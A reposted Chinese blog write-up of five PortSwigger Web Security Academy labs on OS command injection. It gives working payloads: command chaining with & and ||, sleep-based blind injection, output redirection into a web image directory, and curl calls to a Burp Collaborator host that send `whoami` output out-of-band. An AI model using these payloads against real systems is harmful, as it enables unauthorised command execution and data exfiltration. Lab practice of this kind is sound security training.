zoukankan      html  css  js  c++  java
  • Portswigger-web-security-academy:os command injection

    os command injection

    OS command injection, simple case

    • 题目描述

      • 环境中的web应用运行了一个包含产品和店铺id的命令行,并且会返回命令执行结果

      • 要求运行whoami来确认当前用户身份

    • 解题过程

      • 先找注入点

        找到注入点在选地区,查剩余库存的功能点(check stock)

      • 注入

        burp拦截,productId=3%26echo 123&storeId=2

        返回123 2,说明存在命令注入

      • 构造payload

        productId=3%26whoami&storeId=2,报错,提示多余的操作符2,emmmm,说明会进行2也拼接到了语句里

        修改productId=3%26whoami%26echo &storeId=2

    Blind OS command injection with time delays

    • 题目描述

      • feedback功能中有命令注入(盲注):用户输入会被执行,但没有返回

      • 要求产生10秒的延时

    • 解题过程

      • 先去搜索了一下linux下的延迟命令

        • 找到一个 sleep num[s/m/h/d]
      • 用burp抓包,经过测试,发现email参数异常,当其中包含有& | ; %0a ` 或者它们的url编码时会返回Could not save

        • 在没有思路的时候,我返回去看了下第一题,发现最后参数处理不好,会产生报错,猜测这里也有报错,需要把前后参数都拼接好才行
      • 尝试

        • |sleep%2010s|

          仍然报错,但是可以看到命令已经成功运行,猜测是管道符|导致的参数错误

        • 再次尝试,||sleep%20100s||,成功且没有报错

    Blind OS command injection with out put redirection

    • 题目描述

      • feedback功能点存在命令注入(盲注)
      • /var/www/images/目录有可写权限,并且图片会被加载到商品详情页面
      • 要求把whoami的结果重定向到上述目录,并拿到结果
    • 解题过程

      • 寻找打开图片的接口

        • /image?filename=xx.jpg

      • 寻找漏洞点

        使用上一题的payload,发现漏洞点仍然在email

      • 构造payload并执行

        ||whoami%20>/var/www/images/1.jpg||

      • 利用图片接口,获得结果

    Blind OS command injection with out-of-band interaction

    • 题目描述

      • feedback功能点存在命令注入(盲注)
      • 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)
      • 要求执行一个DNS lookup,(利用 collaborator
    • 解题过程

      • 直接构造payload

        ||curl%20xxx.burpcollaborator.net||即可

        但是它没有回显,感觉不舒服,于是乎尝试了一下通过参数拼接来获得命令运行结果

        最终的payload:||a=whoami;curl%20"xxx.burpcollaborator.net/"`$a`||

        在尝试&和yt交流之后,发现以下payload也可以:

        • a=whoami;curl xxx.xxx/`$a`

        • a=`whoami`;curl xxx.xxx/$a

        curl xxx.xxx/`whoami` 这样最简单

    Blind OS command injection with out-of-band data exfiltration

    • 题目描述

      • feedback功能点存在命令注入(盲注)
      • 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)得到结果
      • 要求通过外带获得当前用户名(这不就是我上道题最后做的吗)
    • 解题过程

      • 直接用上道题最后的payload即可

        ||a=whoami;curl%20xxx.burpcollaborator.net/`$a`||

        (更新)||curl%20xxx.burpcollaborator.net/`whoami`||

  • 相关阅读:
    flume sink两种类型 file_rool 自定义sing com.mycomm.MySink even if there is only one event, the event has to be sent in an array
    为什么引入进程20年后,又引入线程?
    As of Flume 1.4.0, Avro is the default RPC protocol.
    Google Protocol Buffer 的使用和原理
    Log4j 2
    统一日志 统一订单
    网站行为跟踪 Website Activity Tracking Log Aggregation 日志聚合 In comparison to log-centric systems like Scribe or Flume
    Percolator
    友盟吴磊:移动大数据平台的架构、实践与数据增值
    Twitter的RPC框架Finagle简介
  • 原文地址:https://www.cnblogs.com/R3col/p/14161789.html
Copyright © 2011-2022 走看看